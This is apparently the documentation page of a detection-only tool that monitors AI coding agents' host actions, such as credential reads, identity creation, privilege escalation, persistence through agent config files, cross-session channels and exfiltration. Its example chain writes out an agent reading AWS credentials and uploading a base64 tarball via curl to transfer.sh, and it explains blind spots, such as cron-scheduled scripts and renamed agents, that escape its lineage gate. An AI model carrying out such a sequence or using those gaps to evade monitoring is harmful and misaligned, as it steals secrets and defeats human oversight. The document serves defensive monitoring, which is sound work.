Plane C — agent actions¶
Plane C answers a different question from the other two. An agent that can run shell commands is not usefully described as "a process that talks to an API" — it reads files, spawns children, and acts. So this plane watches the sequence rather than the moment.
This page describes the tactics; the kernel mechanism differs by platform
The examples below are written against Endpoint Security, macOS's mechanism. Linux reaches the same tactics through the netlink process connector (cn_proc) for process events and fanotify for credential/persistence file events — the latter needs root, the former does not. See Multi-platform seam for the Linux-specific mechanism and its unprivileged degradation.
claude ──▶ sh ──▶ cat ~/.aws/credentials credential_access
──▶ sh ──▶ aws iam create-access-key identity_creation
──▶ sh ──▶ sudo … privilege_escalation
──▶ sh ──▶ tar | base64 (encoded payload)
──▶ curl -T - https://transfer.sh/x exfiltration
Not one of those steps is worth paging on alone, and five separate per-process findings would be five alerts nobody joins up. The sequence is the finding.
Everything here is agent-lineage gated¶
Not one host-plane signal fires for a process without an AI agent above it in the process tree. A developer running sudo produces nothing; the same sudo as a descendant of claude produces a signal.
That gate is the difference between a shadow-AI detector and a mediocre EDR, and it is also the primary false-positive control — these tactics are far too ordinary on a developer machine to be worth reporting without an actor attached.
Lineage comes from Endpoint Security exec events, which are authoritative and catch the eight-millisecond cat that polling ps never sees. Unprivileged, it falls back to ps parent pids.
Lineage gating is also the blind spot
An agent that writes a script now and has cron run it at midnight has broken the process tree, and nothing in that later run is attributed to an agent. The trade is deliberate. Likewise, the agent catalog is a list, and lists are incomplete: a tool nobody has heard of yet, or one deliberately renamed, roots no session. Plane A and B signals still fire; Plane C goes quiet.
Signals¶
Withheld from the public documentation
Exact weights, thresholds, and defaults are kept out of the published site: together they are enough to tune activity to sit below the reporting floor. They are in the repository, beside the code that applies them, for operators who need to reason about a score.
Encoding and transfer are separate signals even though both map to the
exfiltration tactic. agent_encoded_payload waits for corroboration from
credential access or a catalogued/shared egress surface before it contributes
weight or a chain stage; base64 is otherwise ordinary developer work.
agent_payload_transfer covers explicit upload/netcat command shapes and stays
ungated, because sending to an uncatalogued host is the case least likely to
offer a second naming signal.
The two shared-channel signals are evidence about a relationship, not a stage
Every other row above describes something one session did. These two describe one session's write reached by a different session's read — the pattern OpenAI's disclosed Hugging Face incident and its separate, recurring "Artifactory as message board" misalignment reports both document. Neither counts toward agent_kill_chain's ordered progression for that reason: folding cross-session evidence into one session's stage count would misrepresent what was actually observed. See Agent kill chain.
agent_shared_channel_use_local's confidence is graded to 0.6 when the shared path falls under a well-known package-manager cache root (~/.cache, ~/.npm, ~/.cargo/registry, ~/.gem, ~/.m2, ~/.nuget, Go's module cache) — two unrelated agents both touching a shared build cache is weaker evidence than two sessions touching an unexplained path, but the git-tree boundary that gates this signal is a general rule rather than a curated catalog, so the trade-off is graded rather than excluded.
agent_shared_channel_use_external is fixed at confidence 0.5 regardless of which cataloged public surface matched: over TLS this can only confirm both sessions reached the same domain, never the same specific paste or file, which is why it needs no root (it rides the same lsof/connection path agent_public_exfil_surface already uses) but also why, at weight 35, it scores 18 — below the default reporting floor alone.
Both are reported against the reader: the write alone is an ordinary file write or connection, and only the later read makes the pair legible. One finding, naming the writer within it.
What the local medium needs in order to fire at all
agent_shared_channel_use_local reads the write half from create, write and rename, which the esf_write_stream setting subscribes to. It is on by default. With it off there is no write event, so the correlation has nothing to match and the signal is not merely degraded but inert — and inert quietly, since a plane reporting no findings looks identical to a quiet host. An open carrying the write flag counts as a write too, which covers a drop into an existing path; that emits no create at all.
Paths under /dev, /proc, /sys and the run directories are excluded before correlation. They are kernel interfaces, not storage: a reader does not get back what a writer put in, so nothing passes between the two sessions and there is no channel. The exclusion is not theoretical tidiness — without it, /dev/null produced 52 findings in one capture, every one of them a true statement (a non-git path two agent sessions both touched) and an absurd conclusion.
A read is matched only to a write that already happened. The signal, credential and write subscriptions are separate processes feeding one queue, so arrival order says nothing about event order, and the window test alone would accept a negative elapsed as comfortably inside it. Before that check existed the ledger carried findings reading written by codex[66623] -68s earlier.
Note what those weights do not do: no single host-plane tactic reaches high on its own. That is deliberate. Every one of them has a legitimate explanation for an agent doing the job it was asked to do, and a detector that pages on one step would be turned off within a week.
The chain bonus exists because progression is worth more than the sum of its parts. Reading a credential is a lead; reading a credential then minting an identity then uploading to a paste site is an incident. See Agent kill chain.
What each tactic recognises¶
| Tactic | Recognised from |
|---|---|
credential_access |
27 credential path fragments in open events, plus credential-reading command patterns in exec argument vectors. |
identity_creation |
Seven Open Directory events (od_create_user, od_group_add, od_modify_password, …) and cloud IAM command patterns. |
privilege_escalation |
Events including sudo, su, root-target set*uid/set*gid, authorization_petition, tcc_modify, kextload, gatekeeper_user_override, cs_invalidated, remote_thread_create, get_task. Non-root set-ID transitions are not labelled escalation because the event carries no trustworthy before-value. |
persistence |
btm_launch_item_add, profile_add, and 17 persistence path fragments. |
exfiltration |
30 public exfiltration services across 40 domains, plus eight encoding and upload command patterns. |
local_inference |
A local MCP tool server started under an agent. |
inter_agent_channel_local (standalone) |
A path outside any git working tree, written by one attributed session and read by a different one inside the chain window. |
inter_agent_channel_external (standalone) |
A domain from the exfiltration-surface catalog, reached by one attributed session and reached again by a different one inside the chain window. |
Withheld from the public documentation
Exact weights, thresholds, and defaults are kept out of the published site: together they are enough to tune activity to sit below the reporting floor. They are in the repository, beside the code that applies them, for operators who need to reason about a score.
Agent-config persistence¶
One category here has no equivalent in a traditional endpoint product.
An agent that appends to its own CLAUDE.md, registers a new MCP server in ~/.cursor/mcp.json, or drops a file in ~/.claude/hooks/ is arranging to influence every future session on that machine. There is no launchd entry and no login item, so nothing an EDR calls persistence has happened — and the effect on the next session is identical.
It is squarely this tool's subject matter rather than an endpoint product's, and because those paths are user-owned it is the one file-based tactic that survives without root. Eighteen config path fragments are watched.
shadowclaw/configwatch.py polls them by mtime, size, and a content hash, so a tool rewriting a file it has not changed is not mistaken for an edit. The first poll is a baseline, so what was already on disk at startup is never reported as something an agent just wrote.
What polling cannot do¶
There is no pid on a stat result. The inference is that an agent of the right family was running when its own configuration changed, and it is graded down to say so — enough to corroborate a chain, never enough to raise a finding alone.
- A
~/.cursor/change with onlyclauderunning is attributed to nobody. - A file no vendor owns, like
AGENTS.md, is attributed only when exactly one agent is running. - Under root none of this applies: Endpoint Security sees the write itself with the writing pid attached, and the watcher stands down.
Turning it on¶
Off by default: it needs root, and on many builds Full Disk Access as well. Run --self-test first — it reports whether Endpoint Security will actually admit this process before you rely on it. See Install.
Event volume, and why there are two subscriptions¶
eslogger open is a firehose — tens of thousands of events per second on an idle machine, which would burn a core in a Python JSON parser and still fall behind.
So the source is split:
| Subscription | Events | Handling |
|---|---|---|
| Signal stream | 26 low-volume types: exec, exit, the od_* family, sudo, btm_launch_item_add, profile_add, and the privilege events |
Parsed in full. |
| Credential stream | open only |
Behind a grep -F --line-buffered prefilter on fixed credential and config path fragments, so C-speed matching discards the overwhelming majority before Python sees a line. |
Reader limits: a bounded 20,000-event queue and a 256 KiB maximum JSON line. The stream refuses to start an unfiltered open subscription at all rather than starve the sensor it exists to inform.
Measure it on a real host before you trust it in the hot path:
If it reports the credential stream is not viable on your host, set esf_credential_stream: false. Exec-argv credential detection continues to work without it.
Degraded coverage is stated, not implied¶
A detector reporting clean because it was never able to look is indistinguishable, on a dashboard, from a host that is genuinely clean. So an unprivileged sensor says which half it has:
Startup banner, unprivileged
endpoint sec. : off (enable_esf is false)
host-plane coverage is PARTIAL without Endpoint Security:
visible : agent-config persistence (by polling, so graded
down), public exfil surfaces, lineage via ps
NOT seen : credential reads, identity creation, privilege
escalation, launch-item persistence, encoded payloads
re-run under sudo with enable_esf to close the gap
The same concern drives shadowclaw.esf.running, which is exported on every poll and reads zero when the source is down. If it were emitted only while healthy, a subscription that died would leave no trace at all — and absence is the hardest thing to alert on.
Endpoint Security is notify-only here¶
eslogger delivers events after the fact and cannot block. That is consistent with ShadowClaw's detection-only stance, but worth stating plainly: this observes an agent creating an account, it does not stop one.
ESF also has no network event, so egress attribution stays on lsof and the DNS sniffer. The exfiltration stage therefore inherits Plane B's sampling limitation — a single short upload can be missed even while the credential read that preceded it is captured exactly.